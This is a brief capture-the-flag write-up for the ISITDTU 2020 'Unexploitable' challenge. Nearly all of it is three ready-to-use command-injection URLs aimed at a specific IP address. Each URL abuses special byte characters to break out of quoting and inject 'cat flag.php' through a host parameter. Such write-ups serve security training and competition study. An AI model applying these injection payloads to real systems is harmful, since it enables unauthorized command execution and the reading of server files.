# Solution for Unexploitable (ISITDTU 2020)
![image](./chall.png)
Just use special character to escapse quote---
Break Permitted Herehttp://13.68.153.110/unexploitable/?host=8.8.8.8%82;%20cat%20flag.php;%20%82---
Private Use Onehttp://13.68.153.110/unexploitable/?host=8.8.8.8%91;%20cat%20flag.php;%20%91---
Private Use Twohttp://13.68.153.110/unexploitable/?host=8.8.8.8%92;%20cat%20flag.php;%20%92---
![image](./show.png)